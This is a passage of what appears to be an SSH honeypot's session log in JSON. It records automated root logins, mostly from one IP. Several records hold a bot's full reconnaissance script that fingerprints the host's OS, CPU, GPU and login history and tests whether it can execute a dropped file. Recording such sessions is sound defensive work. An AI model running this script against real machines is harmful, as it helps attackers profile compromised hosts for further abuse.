)\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:21:00.926293+00:00",
  "ended_at": "2026-08-25T18:21:01.072496+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e93d0b0f-3076-4ba6-a5aa-fb789cc9e73f",
  "name": "mindful-thrifty-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 36580,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:19:28.645890+00:00",
  "ended_at": "2026-08-25T18:19:28.743889+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b367c010-44d3-4aaf-bb6c-d6d82c992adc",
  "name": "shifting-bitter-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 33604,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:17:53.580028+00:00",
  "ended_at": "2026-08-25T18:17:53.822161+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "272da387-5588-4a61-b2ac-45ed55bc3a9f",
  "name": "solemn-frank-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 58844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:16:24.534753+00:00",
  "ended_at": "2026-08-25T18:16:24.645708+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "20454169-9e27-4468-b944-0b6294b7097c",
  "name": "alpine-restless-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 55814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:14:51.287300+00:00",
  "ended_at": "2026-08-25T18:14:51.530023+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a6c1f181-e7ec-4a37-9c47-ef04d77ecf24",
  "name": "wistful-oaken-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 52800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:13:20.116156+00:00",
  "ended_at": "2026-08-25T18:13:20.351035+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "96c71bc8-1c41-492a-b04e-7a96caafe604",
  "name": "zealous-gallant-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.131",
  "src_port": 57938,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T18:11:20.813421+00:00",
  "ended_at": "2026-08-25T18:11:21.265893+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b4ac4088-bd73-485d-a634-cc43f862d422",
  "name": "fleeting-prickly-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "86.104.23.207",
  "src_port": 15200,
  "username": "root",
  "client_version": "SSH-2.0-OpenSSH_9.7p1 Debian-5",
  "auth_attempts": 2,
  "automation": "unknown",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T17:52:11.416020+00:00",
  "ended_at": "2026-08-25T17:52:13.243424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4941f13-0eef-4f72-9fb4-2dbc0971ec56",
  "name": "leafy-brave-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 47582,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T17:38:32.645000+00:00",
  "ended_at": "2026-08-25T17:38:33.148189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b2378eb-24d9-4160-aa5f-a7233b6a4fbd",
  "name": "languid-gilded-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.156.87.162",
  "src_port": 47152,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T17:01:07.978190+00:00",
  "ended_at": "2026-08-25T17:01:08.337317+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2626e98-ae4d-41a5-8c38-799245a6a765",
  "name": "lofty-daring-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.26.106.253",
  "src_port": 57788,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T16:38:08.897954+00:00",
  "ended_at": "2026-08-25T16:38:10.338077+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab8e8d6b-415e-4795-ac14-0054c216d5ef",
  "name": "drifting-buoyant-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 55218,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T16:28:36.230862+00:00",
  "ended_at": "2026-08-25T16:28:38.301680+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb8b08bc-4fb1-4db8-b242-e92e46116309",
  "name": "jaunty-proud-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.110",
  "src_port": 42982,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T16:13:58.907599+00:00",
  "ended_at": "2026-08-25T16:13:59.286211+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2dcd9694-2bc2-48de-a172-f631809e047d",
  "name": "foggy-lonesome-hornbill",
